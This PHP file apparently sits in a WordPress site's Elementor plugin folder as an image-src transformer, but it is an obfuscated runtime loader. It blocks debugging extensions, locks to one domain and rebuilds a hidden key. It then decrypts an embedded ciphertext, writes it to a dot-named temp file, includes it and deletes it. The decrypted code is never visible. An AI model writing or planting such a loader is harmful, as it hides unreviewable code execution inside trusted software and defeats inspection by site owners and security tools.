<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["exIpNYgezMc=","fcFQvpKz4Ug=","\/3vCjSvosag=","Nhyv\/7ZFBj8="]', true);
$__MASKS = json_decode('["UIOTWagYaqE=","NNt7aGLD\/qk=","I4XkMPWjci8=","Z1CJuF3g8QE="]', true);
$__ROT   = json_decode('[3,2,6,4]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('9JhYaylwQx5gGqTs5kMvMSRPZt1OOnjO');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2F0b21pYy13aWRnZXRzL3Byb3BzLXJlc29sdmVyL3RyYW5zZm9ybWVycy9zZXR0aW5ncy9pbWFnZS1zcmMtdHJhbnNmb3JtZXIucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('LYy3QR3egodXdPjqDSjMEv94fbtwba7neEPp6TEoy9ncuBliofQMiGLAyeC18xjTJMlxLUjA7+G6BrWJhXv0FUcKBdgRrm5r4JyYAOG5BT3qo+hEwT/yri+xyl7cK6cbZFJqvGJEZrGTh+FOYwD9mrIvPby26BgFSKVrIev+T6LXNn2Bmhon716HsleQUOHnkL1z1LPkUe6PxY3Ku8WMXbp8g++9lT4h8psz96ez/pVPRe4008WuL7eCQja9N02LQhDaja3BucvIUwsG+6SpoevqWsny347d1e0ZROkSL1tqyNKLIMbQBaobExkRxiX1KzQb05qXt/QXAJ+OeRvXonKq35XAQOCvOTWt7WYP1bZDod6fsCwcKLTJb46va8mHANrjI4QhQyvxhKTrcBwrk5tiTqkW4S86bKEbNflCC54QOnOQiCz735gHyT+TZUOU7eDasdAW2Yc4Bf4XmSI63BwpIlTtyAsOosCk5nVqeHcDcbDm9H9hOyf0PiiZeCcPU9efccdoR+7lpj5PF4UUh35zE1B3Et74UoB7fvMRs6TRfEFcVE4mH/QmGG1BoBChEDO8wwVE1lvSWoaeyIVdV4mxN/xuk13wOW2Wbm5be0TvP14MrMKnOQdwuW+t8OR9ULb44gemGhTwciun5N6WpM1aSQWcMOooCmE8Am5Pws66Z4dbcGm/l2PuvttnZxj/JLAKurdstXLWdAKaLiSrn0v/84FunpbZY93B110UqO0tOuyHjIxbQJx03fUJIMKWUNQwJ+K0scZUtcp07F59LCO3sXJ6atVw6YEElP/URJgHoGGVKF1ttnPENtSa7GL2FkIImHXRH9hdoCAD+DMMmV9hUX8SoCFMTlcl3gp5r3xTPLdPY0CVYVvM2TteVkmLODGK0KG8wK46IpX7DBbJMQXv2CH0nGfA');

// Signature verification
$__PK  = base64_decode('339otXeLlJREQwwr7Eb8tLIi8YaGY7LVdxo7c7CpU94=');
$__SIG = base64_decode('QykxB4AGMfpu2pyPhBFlfZMrRXc6cboVcODo9RJ3+O6qT0xkECfp3PQlzCkQlV8EkO79GSZKggfaAKnHcgsACw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
